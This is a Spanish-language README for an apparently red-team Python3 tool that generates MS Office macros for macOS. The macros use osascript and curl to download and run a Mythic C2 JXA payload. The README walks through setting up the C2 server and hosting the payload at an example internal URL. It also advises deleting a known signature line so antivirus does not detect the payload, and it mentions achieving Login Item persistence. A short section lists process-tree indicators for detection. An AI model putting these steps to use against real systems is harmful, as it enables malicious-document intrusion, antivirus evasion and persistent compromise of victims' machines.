
Script en Python3 para generar una macro que lance un payload de Mythic. Autor: Cedric Owens
Script en Python3 para generar macros de MS Office que lanzan payloads JXA de Mythic.
Este script genera una macro de Office que usa osascript para descargar y ejecutar el payload JXA .js de Mythic.
Pasos:
Configura el servidor C2 de Mythic y genera un payload "apfell" jxa (nota: este generador asume que el payload usa http, no https... si usas https, puedes modificar el script del generador para que curl use https). Descarga ese payload en el servidor Mythic.
Elimina la primera línea del lanzador JXA .js de Mythic ("// Created by Cody Thomas - @its_a_feature_"). Se sabe que algunas firmas estáticas de A/V verifican esta cadena estática. Aloja ese payload (ej: coloca el payload .js en una carpeta y usa python -m SimpleHTTPServer para alojarlo).
Ejecuta este generador de macros:
python3 jxa-macro.py -u [url al payload .js alojado en el paso #2]
ejemplo: python3 jxa-macro.py -u http://192.168.1.1:8000/apfell2.js
El texto de la macro se guardará en un archivo llamado "macro.txt" en el mismo directorio.
Copia y pega esa macro en un documento de MS Office.
Detección:
Esta macro genera las siguientes relaciones padre-hijo que pueden usarse para detección:
Producto de Office (ej: Microsoft Word.app) --> /bin/sh
Producto de Office (ej: Microsoft Word.app) --> /bin/bash
Producto de Office (ej: Microsoft Word.app) --> /usr/bin/curl
Nota: Esto lanzará el payload JXA dentro del App Sandbox. Sin embargo, Mythic tiene la capacidad de agregar persistencia de Login Item incluso desde App Sandbox.